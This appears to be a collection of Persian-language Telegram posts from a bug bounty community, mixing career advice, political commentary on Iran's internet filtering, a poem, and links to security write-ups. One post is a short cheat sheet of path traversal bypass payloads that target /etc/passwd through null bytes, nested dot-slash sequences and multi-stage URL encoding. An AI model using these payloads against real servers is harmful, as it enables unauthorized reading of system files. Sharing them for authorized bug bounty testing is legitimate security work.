😁❤️جذابیت از خودته

اینم دیگه بابت انرژی مثبت هایی که بابت استوری صبح اومد:

قوانین پلتفرم و پروگرم میگه باید ۱۵۰۰ دلار بگیری؟
اینجا یادمیگیری تبدیلش کنی ۴۵۰۰$
تجربه واقعی (به صورت وویس)

https://www.instagram.com/stories/pentesterland/3997531707150325940?utm_source=ig_story_item_share&stkn=MTNlOGU2bzIzcmp3bw==

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

سلام حالت double url encode هم بهش اضافه شد.

کارمندی یا فریلسنری؟
تو وضعیت فعلی ایران متاسفانه فرقی نمیکنه چه مدل کارمندی باشیم در هرصورت به شدت از تورم جا میمونیم ولی این وسط یه سری توهم راجب فریلسنری بوجود میاد
فریلسنری مثل پریدن تو اب استخر کم عمق با دمای خوب نیست که همینجوری راحت بپری و چیزی نشه
فریلنسری مثل پریدن تو اقیانوسه
امادگی میخواد
برنامه میخواد
و اگر چیزایی که‌گفتم رو رعایت کنی میتونی از منابع اقیانوس استفاده کنی، فریلسنری با رویا فروشی و تنبلی تداخل جدی داره 😉

https://www.instagram.com/reel/Dd-2JSHuNXQ/?stkn=MXIybmJva29yc2ptaA==

می‌بینم، آن شکفتنِ شادی را
پروازِ بلند آدمیزادی را
آن جشنِ بزرگ روز آزادی را.
کیوان، خندان به سایه می‌گوید:
دیدی؟ به تو می‌گفتم! آری.
تو همیشه راست می‌گفتی.
می‌بینم.
می‌بینم.

خوب بود

https://sudistark.github.io/2025/07/02/idx.html

https://omespino.com/write-up-google-bug-bounty-xss-to-cloud-shell-instance-takeover-rce-as-root-5000-usd/

اینم بد نبود

کاری ندارم که چرا یه مقام رسمی باید بیاد بگه با گسترش استارلینک مجبور میشیم کلا برق رو قطع کنیم و هیچکس هیچی بهش نگفت...

دلیل این مسأله رو باید اونجایی جستجو کنیم که دیگه نه تمایلی برای تعامل با حاکمیت وجود داره نه دیگه انتقادی صورت میگیره...
این سکوت خیلی خیلی خیلی خطرناک تر از انتقاد و حتی اعتراضه، جای دیگه خودشو نشون میده بزودی...

اما با این کار دارم که نمی‌دونم کی واقعا به این سطح از وقاحت رسیدید شما که هر کاری دلتون میخواد دارید میکنید و واقعا خوشحالم که بزودی بساط این کنترل گری و به اصطلاح حکمرانی فضای مجازی حماقت آمیزتون جمع میشه...
و از اون بیشتر حتی از این خوشحالم که بساط کاسبی شما از رجیستری گوشی هم حتی بزودی جمع میشه و دیگه پول یامفت این مردم بیچاره تو حلقوم شماها نمیریزه🤲

پ.ن: یکی از مهم ترین دلایل ضعف امنیتی کشور رو باید در این فیلتراسیون بی سابقه و قطع دسترسی چکشی اینترنت و به طبع اون آپدیت نبودن نرم افزار ها و استفاده از اپ های غیر رسمی و وی پی ان و آلوده شدن به هزاران بد افزار و جاسوس افزار جستجو کرد...
اینجاست که باید با این سوال بنیادی رو به رو بشیم که...

آیا واقعا چه کسی یا کسانی باعث ناامنی و نبود امنیت ما شدن؟

#وقاحت
#قطعی_اینترنت

یادش بخیر یه زمانی یه پلتفرم درست کرده بودن به اسم 403.online برای دور زدن محدودیت و تحریم ها...

یه توصیه کوتاه میکنم ; دیگه نمیشه به باگ بانتی به یک حوزه ی نیچ نگاه کرد الان هرجایی میری اسمشو میشنوی قبلا روی تارگت رو هکروان دست میزاشتی ۳۰ تا باگ ولید ازش درمیوردی الان حتی باگکراد هم دوپلیکیت میخوری اگر میخوایید در آینده موفق باشین حتما دنبال حوزه ی خفن تر و بهتر باشین یا تو همین حوزه سعی کنین تاپ بمونین

شبیه ترید داره میشه و البته شده سیگنال امروز چیه😂

https://www.linkedin.com/feed/update/urn:li:activity:7512128428121251840/

اگه میخواید بدونید چرا وقتی تو ویندوز سرور لاگین میکنید Ctrl + Alt + Delete میزند اینو بخونید

Bug bounty in 2026

https://t.me/RadvanSec/2322

خب برادر چیکار کنیم؟
باگ بانتی نخونیم یا شروع نکنیم به خوندن؟ چون من تازه قراره شروع کنم اگر نه به جاش چی بخونیم و چی خوبه که بخونیم؟ چه چیزی آینده داره یا در آینده اگر از الان بخونیم عالی هستیم و حوزه خفن تریه نسبت به باگ بانتی
واقعا برام سواله و عذر میخوام اگر لحنم طلبکارانه بنظر میرسه

سلام مهندس جان ببین من نگفتم نخون یا بخون این تصمیم خودته من تنها توصیه ای که میتونم بکنم بهت اینه که اصلا روش حساب نکن مدینه فاضله درست نکن که الان باگ میای میزنی ده هزارتا میگیری این مسیر خیلی سختی داره الان هم رنج بانتی ها کم رقابت ها زیاد ai و ... که کلا بازارشو خراب کرده من میگم طوری راحتو انتخاب کن که چندسال دیگه هرجایی باشی بتونی تو اون حوزه بدرخشی و خوب ازش درامد کسب کنی من الان حوزه های در حال رشد رو ai redteaming میبینم web3 میبینم و... که هم تعداد افرادی که داخلش فعالیت میکنن کمه هم دراینده به افراد متخصص در این حوزه ها خیلی نیاز خواهیم داشت

به نمودار بانتی های بهروز و نرخ تغییرشون نگاه کنین متوجه میشین.
2020-2021 -> $500K
2021-2022 -> $600K
2022-2023 -> $400K
2023-2024 -> $300K
2024-2025 -> $200K
2025-2026 -> ?
2026-2027 -> ?

A JPEG, a Race, and a Ghost: Breaking Discourse's Image Pipeline

https://www.slcyber.io/research/a-jpeg-a-race-and-a-ghost-breaking-discourses-image-pipeline